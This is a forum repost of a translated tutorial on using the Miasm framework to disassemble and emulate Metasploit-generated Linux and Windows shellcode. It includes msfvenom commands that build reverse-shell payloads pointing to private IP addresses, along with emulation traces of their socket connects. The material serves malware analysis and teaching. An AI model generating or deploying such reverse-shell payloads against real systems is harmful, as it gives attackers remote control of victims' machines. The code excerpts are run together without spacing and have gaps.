开启辅助访问 切换到窄版

打印 上一主题 下一主题

使用Miasm分析Shellcode

[复制链接]
作者:源自桐柏 
版块:
嵌入式操作系统 linux 发布时间:2020-5-8 06:35:03
9890
楼主
跳转到指定楼层
| 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Shellcode是一个有趣的东西,我一直想使用miasm来学习很久了(因为几年前我在SSTIC上看到了第一次演讲),现在,我终于可以在这个新冠的夜晚里学习了。
Linux Shellcode让我们从Linux shellcode开始,因为它们不如Windows shellcode复杂。
msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1让我们用miasm反汇编shellcode:
frommiasm.analysis.binaryimportContainerfrommiasm.analysis.machineimportMachinewithopen("sc_linux1","rb")asf:buf = f.readcontainer = Container.from_string(buf)machine = Machine('x86_32')mdis = machine.dis_engine(container.bin_stream)mdis.follow_call =True# Follow callsmdis.dontdis_retcall =True# Don't disassemble after callsdisasm = mdis.dis_multiblock(offset=0)loc_key_0PUSH0xBPOPEAXCDQPUSHEDXPUSHW0x632DMOVEDI, ESPPUSH0x68732FPUSH0x6E69622FMOVEBX, ESPPUSHEDXCALLloc_key_1->c_to:loc_key_1loc_key_1PUSHEDIPUSHEBXMOVECX, ESPINT0x80[SNIP]这里没有什么奇怪的,INT 0x80正在调用系统,并且系统调用代码在第一行移至EAX,0xB是的代码execve。我们可以CALL lockey1通过在指令地址+大小和的地址之间取数据来轻松获得数据后的地址loc_key1:
>inst = list(disasm.blocks)[0].lines[10]# Instruction 10 of block 0>print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]])b'/bin/ls\x00'接下来我们再来一个更复杂的shellcode:
msfvenom-p linux/x86/shell/reverse_tcp LHOST=10.2.2.14LPORT=1234-f raw > sc_linux2该代码中有条件跳转,我们换成图形化来阅读:
withopen("sc_linux2","rb")asf:open('bin_cfg.dot','w').write(disasm.dot)
要想从静态就理解有点困难,因此让我们看看是否可以使用miasm来模拟它。
模拟指令非常容易:
from miasm.analysis.machineimportMachinefrom miasm.jitter.cstsimportPAGE_READ, PAGE_WRITEmyjit = Machine("x86_32").jitter("python")myjit.init_stackdata=open('sc_linux2','rb').readrun_addr =0x40000000myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE,data)myjit.set_trace_logmyjit.run(run_addr)Miasm模拟所有指令,直到我们到达第一个int 0x80调用为止:
40000000 PUSH 0xAEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 040000002 POP ESIEAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0[SNIP]40000010 INT 0x80EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0Traceback (most recentcalllast):File"linux1.py", line11,inmyjit.run(run_addr)File"/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line423,inrunreturnself.continue_runFile"/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line405,incontinue_runreturnnext(self.run_iterator)File"/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line373,inruniter_onceassert(self.get_exception ==0)AssertionError默认情况下,miasm计算机不执行系统调用,但是可以为该异常添加异常处理程序EXCEPTINTXX(EXCEPTSYSCALL对于Linux x8664)并自己实现。让我们先打印系统调用号码:
frommiasm.jitter.cstsimportPAGE_READ, PAGE_WRITE, EXCEPT_INT_XXfrommiasm.analysis.machineimportMachinereturnTruedata = open('sc_linux2','rb').readmyjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)myjit.run(run_addr)这给了我们系统调用:
Syscall: 102Syscall: 102在意识到miasm已经集成了多个syscall实现和使它们由虚拟机执行的方法之前,我开始重新实现 shellcode经常使用的一些syscall。我已经提交了一些额外的系统调用的PR,然后我们可以模拟shellcode:
data = open("sc_linux2", 'rb').readrun_addr = 0x40000000myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)log = logging.getLogger('syscalls')log.setLevel(logging.DEBUG)env = environment.LinuxEnvironment_x86_32syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)myjit.run(run_addr)我们得到以下syscall跟踪:
[DEBUG]:connect(fd, [AF_INET, 1234, 10.2.2.14], 102)[DEBUG]:-> 0因此,使用miasm分析linux shellcode非常容易,您可以使用此脚本。
windows由于无法在Windows上对系统调用指令,因此Windows Shellcode需要使用共享库中的函数,这需要使用LoadLibrary和GetProcAddress加载它们,后者首先需要在kernel32.dll DLL文件中找到这两个函数地址。记忆。
让我们用metasploit生成第一个shellcode:
msfvenom-a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1LPORT=443-f raw > sc_windows1我们可以使用上面用于Linux的完全相同的代码来生成调用图:

在这里,我们看到了大多数shellcode用来获取其自身地址的技巧之一,CALL就是将下一条指令的地址压入堆栈,然后将其存储在EBP中POP。因此CALL EBP,最后一条指令的,就是在第一次调用之后立即调用该指令。而且由于此处仅使用静态分析,所以miasm无法知道EBP中的地址。
我们仍然可以在第一次调用后手动反汇编代码:
inst = inst = list(disasm.blocks)[0].lines[1]# We get the second line of the first blocknext_addr = inst.offset + inst.l# offset + size of the instructiondisasm = mdis.dis_multiblock(offset=next_addr)open('bin_cfg.dot', 'w').write(disasm.dot)
在这里,我们看到的shellcode首先通过以下寻找KERNEL32的地址PEB,PEBLDRDATA并LDRDATATABLE_ENTRY在内存中的结构。让我们模拟一下:
frommiasm.jitter.csts import PAGE_READ, PAGE_WRITEfrommiasm.analysis.machine import Machinedefcode_sentinelle(jitter):jitter.run=Falsejitter.pc=0returnTruemyjit=Machine("x86_32").jitter("python")data=open("sc_windows1", 'rb').readrun_addr=0x40000000myjit.vm.add_memory_page(run_addr,PAGE_READ | PAGE_WRITE, data)myjit.set_trace_logmyjit.push_uint32_t(0x1337beef)myjit.add_breakpoint(0x1337beef,code_sentinelle)40000000CLDEAX00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 040000001CALL loc_40000088EAX00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 040000088POP EBPEAX00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 040000089PUSH 0x3233EAX00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0[SNIP]一直进行到到达为止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令从内存中的FS段获取TEB结构地址。但是在这种情况下,miasm仅模拟代码,而未在内存中加载任何系统段。为此,我们需要使用miasm的完整Windows Sandbox,但是这些VM仅运行PE文件,因此,我们首先使用简短的脚本使用lief将shellcode转换为完整的PE文件:
data = f.readbinary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)section_text = PE.Section(".text")section_text.content = [c for c in data]# Take a list(int)section_text.virtual_address = 0x1000section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)binary32.optional_header.addressof_entrypoint = section_text.virtual_addressbuilder = PE.Builder(binary32)builder.build_imports(True)builder.buildbuilder.write("sc_windows1.exe")现在,让我们使用一个miasm沙箱来运行此PE,该沙箱可以选择use-windows-structs将Windows结构加载到内存中(请参见此处的代码):
frommiasm.analysis.sandboximportSandbox_Win_x86_32self.use_windows_structs =Trueself.jitter ="gcc"#self.singlestep = Trueself.usesegm =Trueself.load_hdr =Trueself.loadbasedll =Truedef__getattr__(self, name):returnNoneoptions = Options# Create sandboxsb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals)sb.runassert(sb.jitter.runisFalse)该选项loadbasedll是基于名为的文件夹中的现有dll将DLL结构加载到内存中windll(您需要Windows x8632 DLL)。执行后,出现以下崩溃:
[SNIP][INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b[WARNING ]: warning adding .dll to modulenameFile"windows4.py", line18,insb.run[SNIP]File"/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line479,inhandle_libraiseValueError('unknown api',hex(jitter.pc), repr(fname))ValueError: ('unknown api','0x71ab6a55',"'ws2_32_WSAStartup'")如果我们查看文件jitload.py,它实际上调用了在winapix86_32.py中实现的DLL函数,并且我们看到kernel32_LoadLibrary确实实现了该函数,但没有实现WSAStartup,因此我们需要自己实现它。
Miasm实际上使用了一个非常聪明的技巧来简化新库的实现,沙盒接受附加功能的参数,默认情况下使用调用globals。这意味着我们只需要在代码中定义一个具有正确名称的函数,它就可以直接作为系统函数使用。让我们尝试ws232WSAStartup:
print("WSAStartup(wVersionRequired, lpWSAData)")ret_ad, args = jitter.func_args_stdcall(["wVersionRequired","lpWSAData"])jitter.func_ret_stdcall(ret_ad,0)现在我们得到:
INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b[WARNING ]: warning adding .dll to modulenameValueError: ('unknown api','0x71ab8b6a',"'ws2_32_WSASocketA'")"""SOCKET WSAAPI WSASocketA(int af,int type,int protocol,LPWSAPROTOCOL_INFOA lpProtocolInfo,GROUP g,DWORD dwFlags);"""ADDRESS_FAM = {2:"AF_INET",23:"AF_INET6"}TYPES = {1:"SOCK_STREAM",2:"SOCK_DGRAM"}PROTOCOLS = {0:"Whatever",6:"TCP",17:"UDP"}ret_ad, args = jitter.func_args_stdcall(["af","type","protocol","lpProtocolInfo","g","dwFlags"])print("WSASocketA({}, {}, {}, ...)".format(ADDRESS_FAM[args.af],TYPES[args.type],PROTOCOLS[args.protocol]))jitter.func_ret_stdcall(ret_ad,14)defws2_32_connect(jitter):ret_ad, args = jitter.func_args_stdcall(["s","name","namelen"])sockaddr = jitter.vm.get_mem(args.name, args.namelen)iffamily ==2:port = struct.unpack(">H", sockaddr[2:4])[0]ip =".".join([str(i)foriinstruct.unpack("BBBB", sockaddr[4:8])])print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))else:defkernel32_CreateProcessA(jitter):ret_ad, args = jitter.func_args_stdcall(["lpApplicationName","lpCommandLine","lpProcessAttributes","lpThreadAttributes","bInheritHandles","dwCreationFlags","lpEnvironment","lpCurrentDirectory","lpStartupInfo","lpProcessInformation"])defkernel32_ExitProcess(jitter):ret_ad, args = jitter.func_args_stdcall(["uExitCode"])jitter.func_ret_stdcall(ret_ad,0)jitter.run =False最后,我们对shellcode进行了完整的模拟:
[INFO]:Add module 400000 'sc_windows1.exe'[INFO]:Add module 7c900000 'ntdll.dll'[INFO]:Add module 7c800000 'kernel32.dll'[INFO]:Add module 7e410000 'use***.dll'[INFO]:Add module 774e0000 'ole32.dll'[INFO]:Add module 7e1e0000 'urlmon.dll'[INFO]:Add module 71ab0000 'ws2_32.dll'[INFO]:Add module 77dd0000 'advapi32.dll'[INFO]:Add module 76bf0000 'psapi.dll'[INFO]:kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b[WARNING]:warning adding .dll to modulenameWSAStartup(wVersionRequired, lpWSAData)[INFO]:ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab[INFO]:ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010baWSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)[INFO]:ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)[INFO]:kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117[INFO]:kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125[INFO]:kernel32_GetVersion ret addr: 0x401131[INFO]:kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144总结学习miasm很有趣,我发现它非常强大,miasm编写得很好并且具有很多功能。唯一的缺点是目前缺少文档。如果您想开始使用miasm,则应查看示例和博客文章,它们是很好的起点。Willi Ballenthin最近还写了一些我觉得很有趣的博客 文章。并且,一旦您知道其中的点点滴滴,就可以加入我。
待在家里,保重!
*参考来源:randhome,FB小编周大涛编译,转载请注明来自FreeBuf.COM
精彩推荐



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表